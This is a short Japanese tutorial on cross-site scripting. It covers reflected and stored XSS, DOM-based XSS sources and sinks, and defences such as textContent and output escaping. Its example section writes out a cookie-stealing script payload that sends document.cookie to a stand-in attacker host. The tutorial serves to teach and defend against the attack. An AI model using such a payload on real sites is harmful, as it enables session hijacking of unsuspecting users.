Cross-site Scripting(XSS)について

XSSとは

XSSとは,攻撃者が仕掛けたJavaScriptコード等が,他人のWebサイト上で実行される脆弱性です.攻撃側が直接対象に対して攻撃を行うのではなく,対象が罠に引っかかるようにしておき,その罠が実行されるのを待つという受動型攻撃にあたります.

 

XSSによるCookie値の読み出し

掲示板型アプリケーションを想定します.ユーザが入力した内容は,クエリストリングによりサーバに伝達され,そのまま(エスケープされることなく)HTML上に表示されるものとします.

 

この時,例えば「Hello」と入力し投稿を行うと以下のようなURLが生成されます.

http://example.com/index.php?data=hello

 

ここで,以下のようなURLを用意します.

http://example.com/index.php?data=<script>window.location='http://sniffing_cookie.com/?'%2bdocument.cookie;</script>

 

このURLにアクセスしたユーザは,何も知らないうちに

<script>window.location='http://sniffing_cookie.com/?PHPSESSID=123456789...;

 

のような内容を書き込んでしまいます.これが掲示板上に投稿された結果,攻撃者の仕掛けたURLに対して,cookie値をクエリストリングにセットしたアクセスが行われてしまいます.

 

DOM based XSS

以前の例は,サーバ上で組み立てられたHTMLをクライアント側で表示した際に発生するXSSでした.しかし,近頃はJavaScript等によってフロントエンドにて動的にHTMLが組み立てられるページが多く存在しています.このような,フロントエンドにてHTMLを組み立てる際のスクリプトを利用したXSSをDOM based XSSと呼びます.

一般的なXSSとは異なり,サーバ等でのXSS混入の有無を確かめるのは困難になります.

 

SourceとSink

Sourceとは,DOM based XSSを行う上でスクリプトを注入箇所になりやすいところを意味し,Sinkとは,その結果DOM based XSSが発生してしまう原因となる箇所を意味します.

つまり,Sourceにて注入されたJavaScriptが,何らかの処理を施された後に,Sinkに渡ったデータによってXSSが顕在化するということになります.

Source 

location.href(ページのURL)

location.search(クエリストリングの内容)

location.hash(フラグメントの内容) 

document.cookie

document.referrer(参照元ページ)

localStorage

 Sink

Element.innerHTML

document.write

eval

location.href

 

XSSへの対策

Sinkとなる要素をなるべく用いない

例えば,innerHTMLではなく,文字列としてしか認識されないtextContentを用いることで,スクリプトの実行を阻止することができます.

適切なエスケープ

そもそも <> や "" といった特殊な意味を持った記号の注入を防ぐことができれば,スクリプトを注入することが困難になります.また,入力時ではなくても,それが表示される際にレンダリングを行うことでエスケープさせるといった手法も有効です.

 

参考 : JavaScriptセキュリティの基礎知識:連載|gihyo.jp … 技術評論社